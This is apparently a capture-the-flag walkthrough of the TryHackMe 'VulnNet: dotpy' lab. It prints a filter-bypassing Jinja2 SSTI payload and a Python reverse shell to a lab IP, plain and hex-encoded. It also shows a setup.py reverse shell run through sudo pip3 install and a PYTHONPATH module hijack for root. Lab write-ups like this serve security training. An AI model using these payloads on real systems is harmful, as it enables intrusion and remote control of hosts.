THM VulnNet Dotpy
VulnNet: dotpy room
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-01 17:30 +07
Nmap scan report for 10.10.87.9
Host is up (0.23s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
8080/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
| http-title: VulnNet Entertainment - Login | Discover
|_Requested resource was http://10.10.87.9:8080/login
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.43 seconds
See only port 8080 is open with backend developed by python3.6.9
Web Enumeration
After analyze web page –> SSTI in 404 page.
We can try some payloads
1
2
3
{{ config }}
{% debug %}
{{ ().__class__.__base__.__subclasses__() }}
And see server block some characters.
Brute-force with ‘Intruder’, we can find character that was blocked.
After research, we can run payload on this site
Without {{ . [ ] }} _
1
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
We can use useful tool ctf-party to convert payload to hex
Shell code that we use:
1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.51.36",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
Converted to hex:
1
\x70\x79\x74\x68\x6f\x6e\x33\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x6f\x63\x6b\x65\x74\x2c\x73\x75\x62\x70\x72\x6f\x63\x65\x73\x73\x2c\x6f\x73\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x73\x6f\x63\x6b\x65\x74\x2e\x41\x46\x5f\x49\x4e\x45\x54\x2c\x73\x6f\x63\x6b\x65\x74\x2e\x53\x4f\x43\x4b\x5f\x53\x54\x52\x45\x41\x4d\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x22\x31\x30\x2e\x38\x2e\x35\x31\x2e\x33\x36\x22\x2c\x39\x30\x30\x31\x29\x29\x3b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x30\x29\x3b\x20\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x31\x29\x3b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x32\x29\x3b\x69\x6d\x70\x6f\x72\x74\x20\x70\x74\x79\x3b\x20\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x62\x61\x73\x68\x22\x29\x27
With sudo -l
we can run pip3 install
with user system-adm
1
2
3
4
5
6
7
8
web@vulnnet-dotpy:~/shuriken-dotpy$ sudo -l
sudo -l
Matching Defaults entries for web on vulnnet-dotpy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User web may run the following commands on vulnnet-dotpy:
(system-adm) NOPASSWD: /usr/bin/pip3 install *
Search on GTFOBins we can privilege escalation to system-adm user.
1
2
3
web@vulnnet-dotpy:~$ mkdir /tmp/pwn && TF=/tmp/pwn
web@vulnnet-dotpy:~$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.51.36",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' > $TF/setup.py
sudo -u system-adm /usr/bin/pip3 install $TF
And listen on other terminal –> got shell from system-adm
GOT USER FLAG
Privilege Escalation
1
2
3
4
5
6
7
system-adm@vulnnet-dotpy:~$ sudo -l
Matching Defaults entries for system-adm on vulnnet-dotpy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User system-adm may run the following commands on vulnnet-dotpy:
(ALL) SETENV: NOPASSWD: /usr/bin/python3 /opt/backup.py
SETENV allows to set an en viroment variable.
Let’s look at /opt/backup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from datetime import datetime
from pathlib import Path
import zipfile
OBJECT_TO_BACKUP = '/home/manage' # The file or directory to backup
BACKUP_DIRECTORY = '/var/backups' # The location to store the backups in
MAX_BACKUP_AMOUNT = 300 # The maximum amount of backups to have in BACKUP_DIRECTORY
object_to_backup_path = Path(OBJECT_TO_BACKUP)
backup_directory_path = Path(BACKUP_DIRECTORY)
assert object_to_backup_path.exists() # Validate the object we are about to backup exists before we continue
# Validate the backup directory exists and create if required
backup_directory_path.mkdir(parents=True, exist_ok=True)
# Get the amount of past backup zips in the backup directory already
existing_backups = [
x for x in backup_directory_path.iterdir()
if x.is_file() and x.suffix == '.zip' and x.name.startswith('backup-')
]
# Enforce max backups and delete oldest if there will be too many after the new backup
oldest_to_newest_backup_by_name = list(sorted(existing_backups, key=lambda f: f.name))
while len(oldest_to_newest_backup_by_name) >= MAX_BACKUP_AMOUNT: # >= because we will have another soon
backup_to_delete = oldest_to_newest_backup_by_name.pop(0)
backup_to_delete.unlink()
# Create zip file (for both file and folder options)
backup_file_name = f'backup-{datetime.now().strftime("%Y%m%d%H%M%S")}-{object_to_backup_path.name}.zip'
zip_file = zipfile.ZipFile(str(backup_directory_path / backup_file_name), mode='w')
if object_to_backup_path.is_file():
# If the object to write is a file, write the file
zip_file.write(
object_to_backup_path.absolute(),
arcname=object_to_backup_path.name,
compress_type=zipfile.ZIP_DEFLATED
)
elif object_to_backup_path.is_dir():
# If the object to write is a directory, write all the files
for file in object_to_backup_path.glob('**/*'):
if file.is_file():
zip_file.write(
file.absolute(),
arcname=str(file.relative_to(object_to_backup_path)),
compress_type=zipfile.ZIP_DEFLATED
)
# Close the created zip file
zip_file.close()
We don’t need understand what the script does, we can set PYTHONPATH
and the script will try to load the modules from here when importing.
1
2
3
4
5
system-adm@vulnnet-dotpy:/tmp$ mkdir priv
system-adm@vulnnet-dotpy:/tmp$ cd priv
system-adm@vulnnet-dotpy:/tmp/priv$ echo 'import pty;pty.spawn("/bin/bash")' > /tmp/priv/zipfile.py
system-adm@vulnnet-dotpy:/tmp/priv$ sudo -u root PYTHONPATH=/tmp/priv /usr/bin/python3 /opt/backup.py
root@vulnnet-dotpy:/tmp/priv#
GOT ROOT FLAG